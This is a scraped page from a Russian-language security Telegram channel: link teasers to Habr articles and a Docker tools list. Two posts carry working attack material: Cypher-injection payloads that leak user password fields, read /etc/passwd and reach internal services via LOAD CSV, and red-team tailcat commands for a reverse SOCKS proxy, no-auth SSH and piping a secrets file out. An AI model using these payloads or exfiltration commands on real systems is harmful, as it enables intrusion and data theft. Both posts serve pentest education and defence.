Fsecurity | HH
前往频道在 Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
显示更多2 073
订阅者
+124 小时
+47 天
+1430 天
帖子存档
2 072
Repost from purple shift
Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.
На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.
Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.
Суть проблемы:
Уязвимый код может выглядеть так:
query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'
Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:
query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"
with driver.session() as session:
result = session.run(query, user_input=user_input)
В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.
На практике:
На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:
GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1 Host: localhost:5001Значение login после декодирования:
" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) //Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса. Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].
Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}
После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:
" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label // " OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line // " OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:
label = "Users" root:x:0:0:root:/root:/bin/bash <title>GitLab</title>Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать. Результат: Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам. Для защиты от такой атаки рекомендуем: — использовать параметризованные запросы, — не возвращать клиенту информацию о содержании ошибки, — выдать приложению минимальные права, — ограничить LOAD CSV и исходящий трафик.
2 072
Вы подменили User-Agent, и сервер всё равно знает, что это curl. Он понял это до того, как получил заголовки
🔗Ссылка:
https://habr.com/ru/articles/1075838/
2 072
Security Week 2636: атака GPUThor обходит защиту ECC
Исследователи из канадского Университета Торонто на прошлой неделе опубликовали научную работу, в которой продемонстрировали новую атаку на видеоускорители NVIDIA. Атака, получившая название GPUThor, относится к классу Rowhammer, то есть использует многократные обращения к ячейкам оперативной памяти с целью повлиять на соседние ячейки. Таким образом можно изменить данные в областях памяти, изначально недоступных потенциальному злоумышленнику. Наиболее актуален такой сценарий атаки в случае совместного доступа к профессиональному видеоускорителю. Именно поэтому в подобных работах традиционно исследуются устройства NVIDIA, в данном случае модели поколения Ampere A4000, A4500, A5000 и A6000.
🔗Ссылка:
https://habr.com/ru/companies/kaspersky/articles/1076720/
2 072
Рагнарёк: F6 исследовала атаки группировки вымогателей VantaCore
Специалисты Лаборатории цифровой криминалистики и исследования вредоносного кода компании F6 сообщают о новой угрозе российскому бизнесу. В августе 2026 года специалистами Лаборатории выявлена активность новой группировки, назвавшей себя VantaCore.
Уточнённое количество известных жертв этой группировки — не менее семи. Атакующие имеют явно нескромные аппетиты: суммы запрашиваемых выкупов составляют миллионы долларов. Вот только вопрос: новая ли эта группа или старая, но в новом обличии. По мнению специалистов Лаборатории, есть все основания считать, что новая группировка – ребрендинг ранее известной проукраинской группы – Thor.
🔗Ссылка:
https://habr.com/ru/companies/F6/articles/1076818/
2 072
Repost from s0ld13r ch.
TailCat Red Team use case 😎
Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из названия, это аналог netcat но работающий из коробки через сеть TailScale 🤩
Первой моей мыслью стало что инструментом начнут активно пользоваться атакующие и решил расписать разные примеры применения нового "условно легитимного" софта 😃
🔢 SOCKS5 Reverse Proxy
Можно использовать машину жертвы как exit-node и через неё получать доступ к внутренней сети. На машине жертвы запускаем следующую команду:
tailcat --serve=exit-node
По умолчанию tailcat socks поднимает SOCKS5 на случайном порту и передаёт адрес и порт через переменную окружения. Чтобы не возиться с этим каждый раз, я написал небольшой wrapper под названием tcsocks, который поднимает локальный SOCKS5 на 1080 (порт можно поменять). На машине оператора запускаем:
tcsocks -q <token>
А дальше как обычно пользуемся proxychains:
proxychains -f proxy.conf -q nxc rdp 192.168.0.0/24
🔢 SSH доступ без авторизации
Tailcat также позволяет в user mode слушать SSH от пользователя, без необходимости вводить пароль, это особенно удобно если был нестабильный шелл и нужно было использовать альтернативный канал. Сперва слушаем No Auth SSH на машине жертвы:
tailcat --serve=no-auth-ssh
Далее подключаемся по токену с машины оператора:
tailcat ssh <token>
🔢 Эксфильтрация данных через pipe
Ну и классика - эксфильтрация файлов через pipe на машине жертвы запускаем:
cat secret.txt | tailcat <token>
На машине оператора запускаем:
tailcat > secret.txt
Из плюсов вижу то, что инструмент условно легитимный и работает из коробки, с открытым исходным кодом который можно кастомизировать под свои нужды 😎
💻 tcsocks: https://gist.github.com/s0ld13rr/18e2765da1831af0a656e7bb0a819e73
💻 tailcat: https://github.com/tailscale/tailcat
🧢 s0ld13r2 072
Repost from SecuriXy.kz
🏠 Подборка тулов - для домашней инфры на Docker
Собрал сюда то, что реально использую в home lab. Все self-hosted, легкие, без раздутого стека и телеметрии. Может кому пригодится.
🎛 Dockhand - управление Docker
Современная альтернатива Portainer. Реалтайм-контроль контейнеров, визуальный редактор Compose-стеков, деплой из Git с автосинком, SSO через OIDC
🔗 https://github.com/Finsys/dockhand
📜 Dozzle - просмотр логов
Веб-интерфейс для логов контейнеров в реальном времени, без хранения истории и лишней настройки
🔗 https://github.com/amir20/dozzle
🔐 Authelia - SSO и 2FA
Единый шлюз аутентификации перед сервисами, OIDC, LDAP, 2FA. Альтернативы - Authentik, Keycloak, Zitadel, но Authelia легче по ресурсам
🔗 https://github.com/authelia/authelia
📊 Beszel - мониторинг ресурсов
Легкий хаб мониторинга CPU, памяти, диска, сети и статистики Docker-контейнеров по нескольким хостам. Хаб и агент общаются по SSH, наружу торчать не надо
🔗 https://github.com/henrygd/beszel
📈 Uptime Kuma - мониторинг аптайма
Простой self-hosted аналог UptimeRobot, статус-страницы, нотификации в десяток каналов
🔗 https://github.com/louislam/uptime-kuma
🐙 Forgejo - легкий гит-сервер
Форк Gitea под некоммерческим Codeberg e.V., issues, PR, CI-actions, kanban. Легче GitLab, встанет даже на Raspberry Pi
🔗 https://codeberg.org/forgejo/forgejo
🩹 PatchMon - мониторинг обновлений
Централизованный контроль пакетов и патчей на флоте Linux/FreeBSD/Windows хостов, агент только на исходящих соединениях, approval-флоу с аудитом и поддержкой крнтейнеров
🔗 https://github.com/PatchMon/PatchMon
#docker #homelab #selfhosted #tools
2 072
11 минут у Backblaze, и неделя бездействия у reg.ru: как компании обрубают инфраструктуру трояна в России и за рубежом
Если вы состоите в более‑менее крупных ТГ сообществах, то наверняка замечали, как время от времени в чатах мелькают боты с предложением установить сомнительный APK. Обычно их мгновенно банит антиспам или админ, и на этом всё заканчивается. Правда, пока сообщение ещё висит, взгляд успевает за него зацепиться, и в голове проскакивает «это очевидно скам, но как оно работает?». У меня эта мысль проскочила в дождливый вечер прошлой пятницы, и вот, неделю спустя, я всё ещё смотрю на четыре домена, куда уходят перехваченные банковские коды, и ожидаю хоть каких‑до действий от уполномоченных компаний, которые были уведомлены об атаке почти неделю назад.
🔗Ссылка:
https://habr.com/ru/articles/1076024/
2 072
Чем опасны старые версии Nexus Repository CE
Хранилище артефактов, как правило, находится в критическом месте инфраструктуры компании: между сборкой продукта и внешним миром. Через него команды получают зависимости, публикуют собственные пакеты и передают артефакты дальше по цепочке поставки. Если такой сервис недоступен или его содержимое нельзя считать доверенным, то проблема быстро выходит за пределы одной лишь команды DevOps. Останавливаются сборки и поставки программного обеспечения, а вредоносный или уязвимый пакет может попасть во множество проектов.
На этом фоне компаниям особенно неприятно быть зависимыми от версии инструмента, которую сложно обновлять. Именно в таком положении оказалась часть пользователей бесплатной версии Nexus Repository после изменения модели выпуска в начале 2025 года.
🔗Ссылка:
https://habr.com/ru/companies/codescoring/articles/1075784/
2 072
Как Telegram удалил 800 ГБ моих данных и причем тут орфография
🔗Ссылка:
https://habr.com/ru/articles/1075816/
2 072
В логе адрес ::ffff:192.0.2.5, в белом списке 192.0.2.5. Это один адрес, и он не совпадает
🔗Ссылка:
https://habr.com/ru/articles/1075810/
2 072
Подмена страницы интернет-банка First Partner Bank на Standoff 365
🔗Ссылка:
https://habr.com/ru/companies/pt/articles/1074454/
